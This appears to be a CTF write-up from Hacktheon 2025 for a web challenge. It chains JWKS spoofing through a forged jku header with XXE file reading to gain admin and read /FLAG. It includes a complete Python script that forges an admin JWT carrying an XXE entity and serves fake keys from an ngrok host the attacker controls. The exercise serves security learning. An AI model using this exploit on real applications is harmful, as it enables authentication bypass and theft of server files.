|  |  |
| --- | --- |
| **팀 이름**  **Team Name** | EHC\_fumosquad |
| **문제 이름**  **Question** | *Who’s the admin now?* |
| 문제 풀이과정 작성 (캡처화면 필수) / Write-up Details (The screenshot is mandatory) | |
| Link: <http://hacktheon2025-challs-alb-1354048441.ap-northeast-2.elb.amazonaws.com:28145>  Firstly, time to create some account    You can’t login. Now is the time to dig more.    We have a jwt like this. As you can see, jku is a link, which used to verify this jwt    So, what is happen if we change the jku with my fake web site have fake key. The answer is, we have the power to make this invalid jwt become valid. It is called jwks spoofing, link below:  <https://0xdf.gitlab.io/2022/05/07/htb-unicode.html>  So, we just make a fake web with fake key, and become admin. I will generate a valid RS256 jwt first, then we up all thing like the real web in local, and use ngrok to make it public. Then, change the jku with your link, and your code is valid (Code in the final part)    After do that, we success to become admin, and I see that the xml part is use in profile. The xml part is vulnerable by XXE.  Now, I will read /etc/passwd file to prove my theory.    Flag is in /FLAG. Time to get it    FLAG: FLAG{jku\_4nd\_xxe\_4r3\_d4ng3r0u5}  As a say, here is the code:  “””  import jwt  import json  import base64  from datetime import datetime, timedelta  from cryptography.hazmat.primitives.asymmetric import rsa  from cryptography.hazmat.primitives import serialization  from flask import Flask, jsonify  kid = "server-key"  redirect\_url="63bc-116-96-47-191.ngrok-free.app" # Run ngrok http 5000 in your computer, then change this link with your link  private\_key = rsa.generate\_private\_key(public\_exponent=65537, key\_size=2048)  public\_key = private\_key.public\_key()  private\_key\_pem = private\_key.private\_bytes(  encoding=serialization.Encoding.PEM,  format=serialization.PrivateFormat.PKCS8,  encryption\_algorithm=serialization.NoEncryption()  )  public\_key\_pem = public\_key.public\_bytes(  encoding=serialization.Encoding.PEM,  format=serialization.PublicFormat.SubjectPublicKeyInfo  )  header= {  "alg": "RS256",  "cty": "application/xml",  "jku": f"http://localhost:5010@{redirect\_url}",  "kid": "server-key",  "typ": "JWT"  }  payload = {  "user\_info": """<?xml version="1.0" encoding="UTF-8"?>  <!DOCTYPE user [  <!ELEMENT user ANY >  <!ENTITY xxe SYSTEM "file:///FLAG" >  ]>  <user>  <user\_id>&xxe;</user\_id>  <username>kou</username>  <role>user</role>  </user>""",  "user\_role": "admin",  "exp": int((datetime.now() + timedelta(hours=1)).timestamp()),  "iat": int(datetime.now().timestamp())  }  jwt\_token = jwt.encode(  payload,  private\_key\_pem,  algorithm="RS256",  headers=header  )  public\_numbers = public\_key.public\_numbers()  def int\_to\_base64(num):  return base64.urlsafe\_b64encode(num.to\_bytes((num.bit\_length() + 7) // 8, 'big')).rstrip(b'=').decode()  key = {  "kty": "RSA",  "n": int\_to\_base64(public\_numbers.n),  "e": int\_to\_base64(public\_numbers.e),  "alg": "RS256",  "use": "sig",  "kid": kid  }  jwks = {"keys": [key]}  with open("private.pem", "w") as f:  f.write(private\_key\_pem.decode())  with open("public.pem", "w") as f:  f.write(public\_key\_pem.decode())  print("Generated JWT:")  print(jwt\_token)  app = Flask(\_\_name\_\_)  @app.route('/', methods=['GET'])  def serve\_jwks():  return jsonify(jwks)  if \_\_name\_\_ == '\_\_main\_\_':  print("Serving JWKS at http://127.0.0.1:5000/")  app.run(host='0.0.0.0', port=5000)  “””  The reason I show code in the final part because it contain flag payload. After this code run complete, paste the jwt this code generated, then go to profile, and you can see flag. | |